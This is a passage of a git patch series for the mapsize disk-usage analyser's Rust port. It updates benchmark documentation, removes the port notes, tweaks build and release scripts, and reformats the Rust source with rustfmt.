+ ## Scanner -Dataset: `~/go/pkg/mod` — 388,307 files + 65,518 directories (458,510 -inventory nodes), 10.5 GiB allocated. **Warm cache only**: dropping the page -cache needs root, which was not available, so these measure CPU and syscall +Dataset: `~/go/pkg/mod`, a large module cache: 388,307 files + 65,518 +directories (458,510 inventory nodes), 10.5 GiB allocated. **Warm cache +only**: dropping the page cache needs root, so these measure CPU and syscall cost, not disk seeks. Cold-cache behaviour on HDDs will be dominated by seek time; expect fewer workers to be optimal there. -`mapsize --no-ui --workers N ~/go/pkg/mod`, wall time, 3 runs each -(`/usr/bin/time`): +`mapsize --no-ui --workers N PATH`: -| workers | run 1 | run 2 | run 3 | entries/s (best) | peak RSS | -|---:|---:|---:|---:|---:|---:| -| 1 | 1.77 s | 1.67 s | 1.65 s | ~278,000 | 117 MB | -| 2 | 1.06 s | 0.99 s | 1.00 s | ~463,000 | 120 MB | -| 4 | 0.59 s | 0.59 s | 0.62 s | ~777,000 | 117 MB | -| 8 (balanced default) | 0.48 s | 0.50 s | 0.51 s | ~955,000 | 121 MB | -| 16 | 0.45 s | 0.44 s | 0.43 s | ~1,066,000 | 121 MB | -| 32 | 0.43 s | 0.44 s | 0.42 s | ~1,092,000 | 122 MB | +| workers | median | best | peak RSS | +|---:|---:|---:|---:| +| 1 | 1.52 s | 1.44 s | 75 MB | +| 8 (balanced default) | 0.47 s | 0.43 s | 76 MB | +| 32 | 0.46 s | 0.43 s | 80 MB | -For comparison, `du -s` on the same tree (warm): 1.59 s, 34 MB RSS. +At 8 workers that is about 1,000,000 entries a second, in under 80 MB for +458k nodes. Most of the time is spent in the `statx` and `getdents` system +calls. -CPU profile at 8 workers: ~60 % of samples in `statx`/`getdents` syscalls; -path reconstruction for job dispatch ~7 %; aggregation is negligible. - -### Memory - -`go test ./internal/scan -run TestMemoryPerNode` with -`MAPSIZE_MEM_ROOT=~/go/pkg/mod`: 458,510 nodes, 69.1 MiB live heap, -**~158 bytes per node** (node record ~112 bytes plus name storage and -directory side tables). Extrapolated, 10 M entries need ~1.6 GiB. +| other runs over the same tree | median | peak RSS | +|---|---:|---:| +| scan + `--largest-files 50` | 0.60 s | 76 MB | +| scan + `--json` (streamed to /dev/null) | 0.86 s | 76 MB | ## Snapshots -Same 458,510-node tree: +| operation | median | peak RSS | +|---|---:|---:| +| scan + save | 0.75 s | 77 MB | +| load (`mapsize --no-ui file.msz`) | 0.23 s | 78 MB | +| load a snapshot written by mapsize 1.2.0 | 0.26 s | 78 MB | -| operation | result | -|---|---:| -| snapshot file size (gzip level 1) | 6.7 MB (~15 bytes/node) | -| scan + save | 1.03 s | -| load (`mapsize --no-ui file.msz`), 3 runs | 0.28 / 0.29 / 0.32 s, 81 MB RSS | -| warm-cache rescan for comparison | 0.55 s | - -Loading decompresses and verifies SHA-256 on a separate goroutine, overlapping -with parsing. Against a warm cache the win is ~1.9×; against a cold cache or -a network filesystem, where scans are dominated by I/O latency, it is far -larger (not yet measured here). +Loading decompresses and verifies SHA-256 on one thread while another parses. +Against a warm cache that is about twice as fast as rescanning; against a +cold cache or a network filesystem, where scans are dominated by I/O +latency, the gain is far larger (not yet measured here). ## UI -`go test ./internal/tui -bench Big` on a synthetic in-memory tree of -1,008,201 nodes (200 directories × 40 subdirectories × 100 files, plus one -flat directory with 200,000 files), 200×60 terminal: +`make benchmark` (`examples/bench.rs`), best of 5 runs, on a synthetic +in-memory tree of 1,008,201 nodes (200 directories × 40 subdirectories × 100 +files, plus one flat directory with 200,000 files), 200×60 terminal: | operation | time per op | |---|---:| -| cold frame at root (sort children, LOD, layout incl. nested previews, paint) | 33.8 ms | -| resize to a new size (layout + paint, child lists cached) | 2.0 ms | -| arrow-key move + re-render | 1.5 ms | -| zoomed into the 200,000-entry directory, cold | 29.5 ms | -| render of a small tree (2.4 K nodes) at 200×60 | 0.66 ms | -| resize relayout of the small tree | 0.45 ms | +| cold frame at root (sort children, LOD, layout incl. nested previews, paint) | 11.34 ms | +| resize to a new size (layout + paint, child lists cached) | 1.50 ms | +| arrow-key move + re-render | 1.31 ms | +| zoomed into the 200,000-entry directory, cold | 9.37 ms | -During a scan the size caches are invalidated at most every 400 ms, so a -cold frame (worst case above ~34 ms) costs under 10 % of one core; other -frames reuse caches. Resize events only record the new size; layout happens -once per rendered frame, so a resize storm cannot queue up work. +During a scan the size caches are invalidated at most every 400 ms, so even +a cold frame costs a few percent of one core. Resize events only record the +new size; layout happens once per rendered frame, so a resize storm cannot +queue up work. ### Geometry -`go test ./internal/treemap -bench .`: - | operation | time | |---|---:| -| squarified layout, 300 items | 89 µs | -| spatial neighbour lookup among 300 blocks | 2.1 µs | +| squarified layout, 300 items | 8.4 µs | +| spatial neighbour lookup among 300 blocks | 1.1 µs | ### Filtering (1,008,201 nodes) | query | time | |---|---:| -| `size > 1MB` | 31 ms | -| `*.dat AND size > 500k` | 119 ms | -| `path contains sub3` | 112 ms | +| `size > 1MB` | 26.75 ms | +| `*.dat AND size > 500k` | 67.84 ms | +| `path contains sub3` | 63.80 ms | -Filters run on a background goroutine with cancellation and a 120 ms -keystroke debounce; the UI never waits for them. +Filters run on a background thread with cancellation and a 120 ms keystroke +debounce; the UI never waits for them. Path predicates build each path from +the cached parent directory path into a reused buffer, and `*.ext` globs are +a suffix test. + +## Compared with mapsize 1.2.0 + +mapsize 1.2.0 was the last release of the previous implementation, written +in Go. Both were run alternately on the same machine, over the same tree, in +the same session: + +| | 1.2.0 | current | | +|---|---:|---:|---| +| scan, 8 workers (median) | 0.63 s | 0.47 s | 1.34× faster | +| scan, 1 worker (median) | 1.89 s | 1.52 s | 1.24× faster | +| peak RSS while scanning | 117 MB | 76 MB | | +| scan + save snapshot | 1.22 s | 0.75 s | 1.63× faster | +| load snapshot | 0.34 s | 0.23 s | 1.48× faster | +| scan + JSON export | 1.27 s, 153 MB | 0.86 s, 76 MB | 1.48× faster | +| cold frame, 1M nodes | 36.01 ms | 11.34 ms | 3.18× faster | +| squarified layout, 300 items | 84.3 µs | 8.4 µs | 10.07× faster | +| arrow key + re-render | 1.50 ms | 1.31 ms | 1.14× faster | +| filter `*.dat AND size > 500k` | 121.40 ms | 67.84 ms | 1.79× faster | ## Known costs / future work -* Path predicates now build each path from the cached parent directory path - (244 ms → 112 ms); globs are dominated by `filepath.Match`. * Node records could shrink (owner/group/mode/link count are only needed for display and some filters) if memory on 10 M+ entry trees matters. * Cold-cache HDD benchmarks still need to be run with root access. diff --git a/RUST-PORT-NOTES.md b/RUST-PORT-NOTES.md deleted file mode 100644 index 445800a..0000000 --- a/RUST-PORT-NOTES.md +++ /dev/null @@ -1,93 +0,0 @@ -# mapsize — Rust port - -A port of the Go implementation (repo root) to Rust, with the same CLI, TUI, -keys, themes and snapshot format. `.msz` snapshots are byte-compatible in -both directions. The code is Linux/Unix only; the Windows code paths were -not ported. - -``` -cd rust -cargo build --release # target/release/mapsize -cargo test --release # 69 tests (ported from the Go suites, fuzz tests excepted) -``` - -Module layout mirrors `internal/`: `inventory`, `scan`, `platform`, `treemap`, -`filter`, `snapshot` (+ `compare`), `duplicate`, `export`, `config`, -`textutil`, `tui`, `app`. The tree is shared as `Arc>` with the -same single-writer invariants as ARCHITECTURE.md; `cancel::Cancel` replaces -`context.Context`; crossterm replaces Bubble Tea as the event loop (the -canvas renderer is ported as-is, plus line-diffed frame output). - -## Known differences from Go - -* `--log`/`--log-level` are accepted but there is no debug log yet. -* A scanner thread panic restores the terminal and aborts the process instead - of returning an "internal error" message. -* The colour profile is detected from `NO_COLOR`/`TERM`/`COLORTERM` only (no - terminal query); `--color` still overrides. -* JSON export does not HTML-escape `<>&`; `started` is written in UTC. -* The filter lexer no longer hangs on queries containing bytes Go treats as - white space but never skips (e.g. `voilà`, whose UTF-8 contains 0xA0). -* Huge sizes saturate rather than wrap in filters and snapshot comparison. - -## Benchmarks - -Machine: Intel Core i7-7700 (4C/8T), 32 GiB, ext4 on md RAID over 7200 rpm -HDDs. Go 1.27.1, Rust 1.91.1 (`lto`, `codegen-units = 1`). The host is -shared, and its load average was 5–9 on 8 threads during the runs. Go's -absolute times are close to those in PERFORMANCE.md. Go and Rust runs were -interleaved; the tables report best-of (micro) or median and best -(end-to-end). To re-run: - -``` -go test -c -o /tmp/tui.test ./internal/tui && go test -c -o /tmp/treemap.test ./internal/treemap -(cd rust && cargo build --release --example bench) -rust/bench/micro.py /tmp/tui.test /tmp/treemap.test rust/target/release/examples/bench 5 -rust/bench/compare.py bin/mapsize rust/target/release/mapsize ~/go/pkg/mod 7 -``` - -### In-process (Go `go test -bench` suite vs `examples/bench.rs`) - -The tree is 1,008,201 synthetic nodes, rendered at 200×60. - -| benchmark | Go | Rust | speed-up | -|---|---:|---:|---:| -| treemap/Squarify(300) | 84.3 µs | 8.4 µs | 10.07× | -| treemap/Neighbour(300) | 2.1 µs | 1.1 µs | 1.94× | -| tui/BigColdFrame | 36.01 ms | 11.34 ms | 3.18× | -| tui/BigResize | 2.02 ms | 1.50 ms | 1.35× | -| tui/BigFlatDirCold | 32.00 ms | 9.37 ms | 3.41× | -| tui/BigNavigate | 1.50 ms | 1.31 ms | 1.14× | -| tui/BigFilter/size > 1MB | 29.44 ms | 26.75 ms | 1.10× | -| tui/BigFilter/*.dat AND size > 500k | 121.40 ms | 67.84 ms | 1.79× | -| tui/BigFilter/path contains sub3 | 101.86 ms | 63.80 ms | 1.60× | - -### End to end (`~/go/pkg/mod`: 388k files + 65k dirs, warm cache) - -| scenario | Go median | Rust median | Go best | Rust best | Go RSS | Rust RSS | speed-up | -|---|---:|---:|---:|---:|---:|---:|---:| -| scan, 1 workers | 1.89 s | 1.52 s | 1.72 s | 1.44 s | 112 MB | 75 MB | 1.24× | -| scan, 8 workers | 0.63 s | 0.47 s | 0.58 s | 0.43 s | 117 MB | 76 MB | 1.34× | -| scan, 32 workers | 0.60 s | 0.46 s | 0.48 s | 0.43 s | 118 MB | 80 MB | 1.30× | -| scan + save snapshot | 1.22 s | 0.75 s | 1.13 s | 0.71 s | 119 MB | 77 MB | 1.63× | -| load own snapshot | 0.34 s | 0.23 s | 0.30 s | 0.23 s | 85 MB | 78 MB | 1.48× | -| load Go snapshot | 0.36 s | 0.26 s | 0.30 s | 0.23 s | 85 MB | 78 MB | 1.38× | -| scan + JSON export | 1.27 s | 0.86 s | 1.04 s | 0.68 s | 153 MB | 76 MB | 1.48× | -| scan + top 50 largest files | 0.70 s | 0.60 s | 0.64 s | 0.47 s | 114 MB | 76 MB | 1.17× | - -Reading the numbers: - -* **Scanning** is 1.2–1.3× faster at every worker count. It is syscall-bound - (`statx`/`getdents`), so the gain comes from lower per-entry overhead in the - controller (no GC, no per-chunk allocation churn), not from faster I/O. -* **Memory**: peak RSS is about a third lower (76 MB vs 117 MB while - scanning 458k nodes). The JSON export halves memory (76 MB vs 153 MB) because - it streams without per-node allocations. -* **Snapshots**: scan + save is 1.6× faster and load is 1.4–1.5× faster. The - two binaries load each other's files. -* **UI**: cold frames are 3.2–3.4× faster, and squarified layout is about 10× - faster. Navigation and resize gain less (1.1–1.35×) because they mostly - reuse cached layout. -* **Filters**: 1.1–1.8× faster. This required caching lower-cased directory - paths in a `Vec` with reused buffers, and a `*.ext` fast path in the - `filepath.Match` port. diff --git a/scripts/bench-scan.sh b/scripts/bench-scan.sh index ab0688b..acf1e3b 100755 --- a/scripts/bench-scan.sh +++ b/scripts/bench-scan.sh @@ -10,7 +10,7 @@ set -euo pipefail path=${1:?usage: bench-scan.sh PATH [workers...]} shift || true workers=${*:-1 2 4 8 16} -bin=${MAPSIZE:-bin/mapsize} +bin=${MAPSIZE:-target/release/mapsize} [[ -x $bin ]] || make build >/dev/null fs=$(df -T "$path" | awk 'NR==2 {print $2}') -- 2.53.0 From b1fdb48c4b9ae0d85cc204169b6f51e0f0dd3197 Mon Sep 17 00:00:00 2001 From: Andy Dixon Date: Thu, 8 Oct 2026 19:59:00 +0100 Subject: [PATCH 06/12] release.sh: keep the previous package file names --- scripts/release.sh | 1 - src/{platform.rs => platform/mod.rs} | 0 2 files changed, 1 deletion(-) rename src/{platform.rs => platform/mod.rs} (100%) diff --git a/scripts/release.sh b/scripts/release.sh index ceda299..dffed7a 100755 --- a/scripts/release.sh +++ b/scripts/release.sh @@ -41,7 +41,6 @@ for bin in "$bins"/mapsize-*; do arch: $nfarch platform: linux version: $version - release: 1 maintainer: Andy Dixon description: Interactive full-terminal disk usage analyser with a live treemap. homepage: https://github.com/andydixon/mapsize diff --git a/src/platform.rs b/src/platform/mod.rs similarity index 100% rename from src/platform.rs rename to src/platform/mod.rs -- 2.53.0 From a16c00671b2344d04781c92f8676a43eb8afead1 Mon Sep 17 00:00:00 2001 From: Andy Dixon Date: Thu, 8 Oct 2026 20:05:25 +0100 Subject: [PATCH 07/12] Apply rustfmt to the crate --- examples/bench.rs | 30 +++- src/app.rs | 109 ++++++++++-- src/cancel.rs | 6 +- src/config.rs | 10 +- src/duplicate.rs | 66 +++++-- src/export.rs | 144 ++++++++++++--- src/filter/apply.rs | 14 +- src/filter/eval.rs | 21 ++- src/filter/lexer.rs | 16 +- src/filter/mod.rs | 63 +++++-- src/filter/parser.rs | 87 +++++++-- src/inventory/category.rs | 40 ++++- src/inventory/mod.rs | 57 ++++-- src/inventory/query.rs | 19 +- src/inventory/stats.rs | 52 ++++-- src/main.rs | 84 +++++++-- src/platform/mod.rs | 144 ++++++++++++--- src/scan.rs | 251 +++++++++++++++++++++----- src/snapshot/compare.rs | 31 +++- src/snapshot/mod.rs | 359 +++++++++++++++++++++++++++++++------- src/textutil.rs | 39 ++++- src/treemap/mod.rs | 108 ++++++++++-- src/treemap/nav.rs | 71 ++++++-- src/tui/actions.rs | 187 ++++++++++++++++---- src/tui/canvas.rs | 94 ++++++++-- src/tui/color256.rs | 6 +- src/tui/data.rs | 13 +- src/tui/infoview.rs | 187 +++++++++++++++++--- src/tui/keys.rs | 30 +++- src/tui/mapview.rs | 170 +++++++++++++++--- src/tui/mod.rs | 31 +++- src/tui/modal.rs | 99 ++++++++--- src/tui/modals.rs | 232 ++++++++++++++++++++---- src/tui/model.rs | 117 ++++++++++--- src/tui/mouse.rs | 3 +- src/tui/render.rs | 164 ++++++++++++++--- src/tui/run.rs | 116 ++++++++++-- src/tui/search.rs | 62 +++++-- src/tui/side.rs | 62 ++++++- src/tui/table.rs | 81 +++++++-- src/tui/tests.rs | 250 +++++++++++++++++++++----- src/tui/theme.rs | 6 +- src/tui/views.rs | 221 +++++++++++++++++++---- 43 files changed, 3300 insertions(+), 652 deletions(-) diff --git a/examples/bench.rs b/examples/bench.rs index 4153a75..603dbd5 100644 --- a/examples/bench.rs +++ b/examples/bench.rs @@ -25,25 +25,45 @@ fn bench(name: &str, mut f: impl FnMut(u64) -> R) { } fn main() { - let items: Vec = (0..300).map(|i| Item { id: i, size: (1 + i * i) as f64 }).collect(); - let bounds = Rect { x: 0, y: 0, w: 200, h: 60 }; + let items: Vec = (0..300) + .map(|i| Item { + id: i, + size: (1 + i * i) as f64, + }) + .collect(); + let bounds = Rect { + x: 0, + y: 0, + w: 200, + h: 60, + }; bench("treemap/Squarify(300)", |_| { black_box(treemap::squarify(black_box(&items), bounds)); }); let blocks = treemap::squarify(&items, bounds); bench("treemap/Neighbour(300)", |_| { - black_box(treemap::neighbour(black_box(&blocks), 150, Direction::Right)); + black_box(treemap::neighbour( + black_box(&blocks), + 150, + Direction::Right, + )); }); let t0 = Instant::now(); let tree = Arc::new(RwLock::new(big_tree())); - println!("big tree: {} nodes built in {:.2?}", tree.read().unwrap().len(), t0.elapsed()); + println!( + "big tree: {} nodes built in {:.2?}", + tree.read().unwrap().len(), + t0.elapsed() + ); let mut m = BenchModel::new(tree.clone(), 200, 60); bench("tui/BigColdFrame", |_| m.cold_frame()); let mut m = BenchModel::new(tree.clone(), 200, 60); m.cold_frame(); - bench("tui/BigResize", |i| m.resize(150 + (i % 100) as u16, 40 + (i % 30) as u16)); + bench("tui/BigResize", |i| { + m.resize(150 + (i % 100) as u16, 40 + (i % 30) as u16) + }); let mut m = BenchModel::new(tree.clone(), 200, 60); m.zoom_to_child_named(b"flat"); bench("tui/BigFlatDirCold", |_| m.cold_frame()); diff --git a/src/app.rs b/src/app.rs index 54cc0da..2cd420b 100644 --- a/src/app.rs +++ b/src/app.rs @@ -37,16 +37,35 @@ pub struct Config { impl Config { pub fn new(settings: Settings) -> Config { Config { - paths: Vec::new(), scan_opts: Default::default(), no_ui: false, json: false, csv: false, depth: -1, - top: 0, largest_files: 0, save: String::new(), load: String::new(), compare: None, duplicates: false, - read_only: false, theme: settings.theme.clone(), size_mode: SizeMode::Allocated, mouse: settings.mouse, - color: "auto".into(), settings, + paths: Vec::new(), + scan_opts: Default::default(), + no_ui: false, + json: false, + csv: false, + depth: -1, + top: 0, + largest_files: 0, + save: String::new(), + load: String::new(), + compare: None, + duplicates: false, + read_only: false, + theme: settings.theme.clone(), + size_mode: SizeMode::Allocated, + mouse: settings.mouse, + color: "auto".into(), + settings, } } /// Whether any non-interactive output was requested. pub fn report(&self) -> bool { - self.no_ui || self.json || self.csv || self.top > 0 || self.largest_files > 0 || self.duplicates + self.no_ui + || self.json + || self.csv + || self.top > 0 + || self.largest_files > 0 + || self.duplicates } } @@ -63,9 +82,17 @@ pub fn run(cfg: Config) -> Result<(), Error> { /// Begins a scan (or loads a snapshot). The scanner is None when the tree /// came from a snapshot. -fn start_source(cancel: Cancel, load: &str, paths: &[String], opts: &scan::Options) -> Result<(Option, Arc>), Error> { +fn start_source( + cancel: Cancel, + load: &str, + paths: &[String], + opts: &scan::Options, +) -> Result<(Option, Arc>), Error> { if !load.is_empty() { - return Ok((None, Arc::new(RwLock::new(snapshot::load_file(Path::new(load))?)))); + return Ok(( + None, + Arc::new(RwLock::new(snapshot::load_file(Path::new(load))?)), + )); } let root = paths.first().map_or(".", |s| s.as_str()); let s = scan::start(root.as_bytes(), opts.clone(), cancel)?; @@ -117,7 +144,12 @@ fn run_report(cfg: Config) -> Result<(), Error> { } if cfg.largest_files > 0 { let m = cfg.size_mode; - let ids = t.top(t.root(), cfg.largest_files, |n| n.kind == Kind::File && n.flags & FLAG_HARDLINK_DUP == 0, |n| n.own(m)); + let ids = t.top( + t.root(), + cfg.largest_files, + |n| n.kind == Kind::File && n.flags & FLAG_HARDLINK_DUP == 0, + |n| n.own(m), + ); export::table(&mut out, &t, &ids, m)?; writeln!(out)?; } @@ -162,8 +194,14 @@ fn wait_with_progress(s: &Scanner, cancel: &Cancel) { fn run_tui(cfg: Config) -> Result<(), Error> { let (load, paths, opts) = (cfg.load.clone(), cfg.paths.clone(), cfg.scan_opts.clone()); tui::run(tui::Options { - read_only: cfg.read_only, theme: cfg.theme, size_mode: cfg.size_mode, mouse: cfg.mouse, color: cfg.color, - save: cfg.save, settings: cfg.settings, diff: None, + read_only: cfg.read_only, + theme: cfg.theme, + size_mode: cfg.size_mode, + mouse: cfg.mouse, + color: cfg.color, + save: cfg.save, + settings: cfg.settings, + diff: None, start: Arc::new(move |c| start_source(c, &load, &paths, &opts)), }) } @@ -176,8 +214,14 @@ fn run_compare(cfg: Config) -> Result<(), Error> { if !cfg.report() { let tree = Arc::new(RwLock::new(nw)); return tui::run(tui::Options { - read_only: true, theme: cfg.theme, size_mode: cfg.size_mode, mouse: cfg.mouse, color: cfg.color, - save: String::new(), settings: cfg.settings, diff: Some(d), + read_only: true, + theme: cfg.theme, + size_mode: cfg.size_mode, + mouse: cfg.mouse, + color: cfg.color, + save: String::new(), + settings: cfg.settings, + diff: Some(d), start: Arc::new(move |_| Ok((None, tree.clone()))), }); } @@ -185,23 +229,54 @@ fn run_compare(cfg: Config) -> Result<(), Error> { let m = cfg.size_mode; let mut out = std::io::stdout().lock(); let (ro, rn) = (d.old.node(0), nw.node(0)); - writeln!(out, "{} → {}", textutil::sanitize(&d.old.stats.from_snapshot), textutil::sanitize(&nw.stats.from_snapshot))?; - writeln!(out, "Total {} → {} ({})\n", textutil::size(ro.total(m)), textutil::size(rn.total(m)), textutil::signed_size(rn.total(m) - ro.total(m)))?; + writeln!( + out, + "{} → {}", + textutil::sanitize(&d.old.stats.from_snapshot), + textutil::sanitize(&nw.stats.from_snapshot) + )?; + writeln!( + out, + "Total {} → {} ({})\n", + textutil::size(ro.total(m)), + textutil::size(rn.total(m)), + textutil::signed_size(rn.total(m) - ro.total(m)) + )?; for c in d.changes(&nw, k, m) { - writeln!(out, "{:<10} {:>14} {}", c.status.name(), textutil::signed_size(c.delta), textutil::sanitize(&c.path))?; + writeln!( + out, + "{:<10} {:>14} {}", + c.status.name(), + textutil::signed_size(c.delta), + textutil::sanitize(&c.path) + )?; } Ok(()) } fn run_duplicates(out: &mut dyn Write, cancel: &Cancel, tree: &RwLock) -> Result<(), Error> { let f = duplicate::Finder::default(); - let groups = f.find(cancel, tree, duplicate::Options { min_size: 1, workers: 0 }).ok_or("cancelled")?; + let groups = f + .find( + cancel, + tree, + duplicate::Options { + min_size: 1, + workers: 0, + }, + ) + .ok_or("cancelled")?; let t = tree.read().unwrap(); let mut wasted = 0; for g in &groups { wasted += g.wasted(); let h: String = g.hash[..6].iter().map(|b| format!("{b:02x}")).collect(); - writeln!(out, "{} × {} (sha256 {h}…)", textutil::size(g.size), g.files.len())?; + writeln!( + out, + "{} × {} (sha256 {h}…)", + textutil::size(g.size), + g.files.len() + )?; for &id in &g.files { writeln!(out, " {}", textutil::sanitize_bytes(&t.path_bytes(id)))?; } diff --git a/src/cancel.rs b/src/cancel.rs index e78a996..c529f9b 100644 --- a/src/cancel.rs +++ b/src/cancel.rs @@ -22,7 +22,11 @@ impl Default for Cancel { impl Cancel { pub fn new() -> Cancel { let (tx, rx) = crossbeam_channel::bounded(0); - Cancel(Arc::new(Inner { flag: AtomicBool::new(false), tx: Mutex::new(Some(tx)), rx })) + Cancel(Arc::new(Inner { + flag: AtomicBool::new(false), + tx: Mutex::new(Some(tx)), + rx, + })) } pub fn cancel(&self) { diff --git a/src/config.rs b/src/config.rs index 422838d..3dcfe7c 100644 --- a/src/config.rs +++ b/src/config.rs @@ -46,7 +46,11 @@ impl Default for Settings { /// The config file location. pub fn path() -> Option { - let env = |k: &str| std::env::var_os(k).filter(|v| !v.is_empty()).map(PathBuf::from); + let env = |k: &str| { + std::env::var_os(k) + .filter(|v| !v.is_empty()) + .map(PathBuf::from) + }; let dir = if cfg!(target_os = "macos") { env("HOME")?.join("Library/Application Support") } else { @@ -57,7 +61,9 @@ pub fn path() -> Option { /// Reads the config file if present. A missing file is not an error. pub fn load() -> (Settings, Option) { - let Some(p) = path() else { return (Settings::default(), None) }; + let Some(p) = path() else { + return (Settings::default(), None); + }; let b = match std::fs::read(&p) { Ok(b) => b, Err(e) if e.kind() == std::io::ErrorKind::NotFound => return (Settings::default(), None), diff --git a/src/duplicate.rs b/src/duplicate.rs index 745c644..1fd640d 100644 --- a/src/duplicate.rs +++ b/src/duplicate.rs @@ -104,7 +104,11 @@ impl Finder { let mut by_size: HashMap> = HashMap::new(); t.walk(t.root(), |id, n| { if n.kind == Kind::File && !n.has(FLAG_HARDLINK_DUP) && n.size >= o.min_size { - by_size.entry(n.size).or_default().push(Cand { id, path: PathBuf::new(), size: n.size }); + by_size.entry(n.size).or_default().push(Cand { + id, + path: PathBuf::new(), + size: n.size, + }); } true }); @@ -133,11 +137,18 @@ impl Finder { sampled.push(g); // a sample would be the whole file continue; } - sampled.extend(self.split(cancel, &g, o.workers, sample_hash).into_values().filter(|v| v.len() > 1)); + sampled.extend( + self.split(cancel, &g, o.workers, sample_hash) + .into_values() + .filter(|v| v.len() > 1), + ); } // Stage 3: full hashes. - self.to_hash.store(sampled.iter().map(|g| g[0].size * g.len() as i64).sum(), Ordering::Relaxed); + self.to_hash.store( + sampled.iter().map(|g| g[0].size * g.len() as i64).sum(), + Ordering::Relaxed, + ); self.stage("hashing", |_| {}); let mut out = Vec::new(); for g in &sampled { @@ -148,21 +159,35 @@ impl Finder { if v.len() > 1 { let mut files: Vec = v.iter().map(|c| c.id).collect(); files.sort_unstable(); - out.push(Group { size: v[0].size, hash, files }); + out.push(Group { + size: v[0].size, + hash, + files, + }); } } } if cancel.is_cancelled() { return None; } - out.sort_by(|a, b| b.wasted().cmp(&a.wasted()).then(a.files[0].cmp(&b.files[0]))); + out.sort_by(|a, b| { + b.wasted() + .cmp(&a.wasted()) + .then(a.files[0].cmp(&b.files[0])) + }); self.stage("done", |p| p.verified_groups = out.len() as i64); Some(out) } /// Hashes every candidate with a bounded pool of reader threads and /// buckets the successes by hash. Stops starting new reads once cancelled. - fn split(&self, cancel: &Cancel, g: &[Cand], workers: usize, f: HashFn) -> HashMap<[u8; 32], Vec> { + fn split( + &self, + cancel: &Cancel, + g: &[Cand], + workers: usize, + f: HashFn, + ) -> HashMap<[u8; 32], Vec> { let next = AtomicUsize::new(0); let results = Mutex::new(Vec::with_capacity(g.len())); std::thread::scope(|s| { @@ -244,7 +269,15 @@ mod tests { use std::time::Duration; fn scan(root: &Path, workers: usize) -> Arc> { - let s = scan::start(root.as_os_str().as_bytes(), scan::Options { workers, ..Default::default() }, Cancel::new()).unwrap(); + let s = scan::start( + root.as_os_str().as_bytes(), + scan::Options { + workers, + ..Default::default() + }, + Cancel::new(), + ) + .unwrap(); s.wait(); s.tree.clone() } @@ -270,7 +303,11 @@ mod tests { assert_eq!(groups.len(), 2); let t = tree.read().unwrap(); let names = |g: &Group| { - let mut v: Vec = g.files.iter().map(|&id| t.node(id).name_str().into_owned()).collect(); + let mut v: Vec = g + .files + .iter() + .map(|&id| t.node(id).name_str().into_owned()) + .collect(); v.sort(); v }; @@ -278,7 +315,10 @@ mod tests { assert_eq!(groups[0].size, 200_000); assert_eq!(names(&groups[1]), ["small1", "small2"], "small group"); let p = f.progress(); - assert!(p.candidates == 6 && p.verified_groups == 2, "progress {p:?}"); + assert!( + p.candidates == 6 && p.verified_groups == 2, + "progress {p:?}" + ); } /// A candidate replaced by a FIFO (or a symlink to one) after the scan @@ -308,8 +348,12 @@ mod tests { let f = Arc::new(Finder::default()); let (tx, rx) = crossbeam_channel::bounded(1); let (f2, t2) = (f.clone(), tree.clone()); - std::thread::spawn(move || tx.send(f2.find(&Cancel::new(), &t2, Options::default()).is_some())); - assert!(rx.recv_timeout(Duration::from_secs(5)).expect("duplicate search blocked on a FIFO")); + std::thread::spawn(move || { + tx.send(f2.find(&Cancel::new(), &t2, Options::default()).is_some()) + }); + assert!(rx + .recv_timeout(Duration::from_secs(5)) + .expect("duplicate search blocked on a FIFO")); assert_eq!(f.progress().skipped, 2); } } diff --git a/src/export.rs b/src/export.rs index 60490bd..0673681 100644 --- a/src/export.rs +++ b/src/export.rs @@ -8,17 +8,27 @@ use std::io::{self, Write}; use std::time::UNIX_EPOCH; const FLAG_NAMES: [(Flags, &str); 12] = [ - (inv::FLAG_HARDLINK_DUP, "hardlink-duplicate"), (inv::FLAG_MOUNT_POINT, "mount-point"), - (inv::FLAG_VIRTUAL_FS, "virtual-fs-skipped"), (inv::FLAG_SKIPPED_FS, "other-fs-skipped"), - (inv::FLAG_SPARSE, "sparse"), (inv::FLAG_ERROR, "error"), (inv::FLAG_INCOMPLETE, "incomplete"), - (inv::FLAG_LOOP, "loop-skipped"), (inv::FLAG_FOLLOWED, "followed-symlink"), - (inv::FLAG_ALLOC_UNKNOWN, "allocated-unknown"), (inv::FLAG_BROKEN_LINK, "broken-symlink"), + (inv::FLAG_HARDLINK_DUP, "hardlink-duplicate"), + (inv::FLAG_MOUNT_POINT, "mount-point"), + (inv::FLAG_VIRTUAL_FS, "virtual-fs-skipped"), + (inv::FLAG_SKIPPED_FS, "other-fs-skipped"), + (inv::FLAG_SPARSE, "sparse"), + (inv::FLAG_ERROR, "error"), + (inv::FLAG_INCOMPLETE, "incomplete"), + (inv::FLAG_LOOP, "loop-skipped"), + (inv::FLAG_FOLLOWED, "followed-symlink"), + (inv::FLAG_ALLOC_UNKNOWN, "allocated-unknown"), + (inv::FLAG_BROKEN_LINK, "broken-symlink"), (inv::FLAG_HARDLINKED, "hardlinked"), ]; /// Human-readable names for a node's flags. pub fn flag_list(f: Flags) -> Vec<&'static str> { - FLAG_NAMES.iter().filter(|(b, _)| f & b != 0).map(|(_, n)| *n).collect() + FLAG_NAMES + .iter() + .filter(|(b, _)| f & b != 0) + .map(|(_, n)| *n) + .collect() } fn kind_name(k: Kind) -> &'static str { @@ -41,7 +51,10 @@ pub fn json(w: &mut dyn Write, t: &Tree, root: NodeId, max_depth: i64) -> io::Re .filter(|(_, &c)| c > 0) .map(|(k, &c)| (inv::ErrKind::from_u8(k as u8).name().to_string(), c.into())) .collect(); - let started = st.start.duration_since(UNIX_EPOCH).map_or(0, |d| d.as_nanos() as i64); + let started = st + .start + .duration_since(UNIX_EPOCH) + .map_or(0, |d| d.as_nanos() as i64); let head = serde_json::json!({ "generator": format!("{} {}", brand::NAME, brand::VERSION), "root": t.path_string(root), @@ -66,7 +79,14 @@ pub fn json(w: &mut dyn Write, t: &Tree, root: NodeId, max_depth: i64) -> io::Re /// proportional to depth, not tree size. fn write_node(bw: &mut impl Write, t: &Tree, id: NodeId, depth: i64) -> io::Result<()> { let n = t.node(id); - write!(bw, "{{\"name\":{},\"type\":\"{}\",\"size\":{},\"allocated\":{}", json_str(&n.name_str()), kind_name(n.kind), n.tot_size, n.tot_alloc)?; + write!( + bw, + "{{\"name\":{},\"type\":\"{}\",\"size\":{},\"allocated\":{}", + json_str(&n.name_str()), + kind_name(n.kind), + n.tot_size, + n.tot_alloc + )?; for (k, v) in [("files", n.files), ("dirs", n.dirs), ("errors", n.errors)] { if v != 0 { write!(bw, ",\"{k}\":{v}")?; 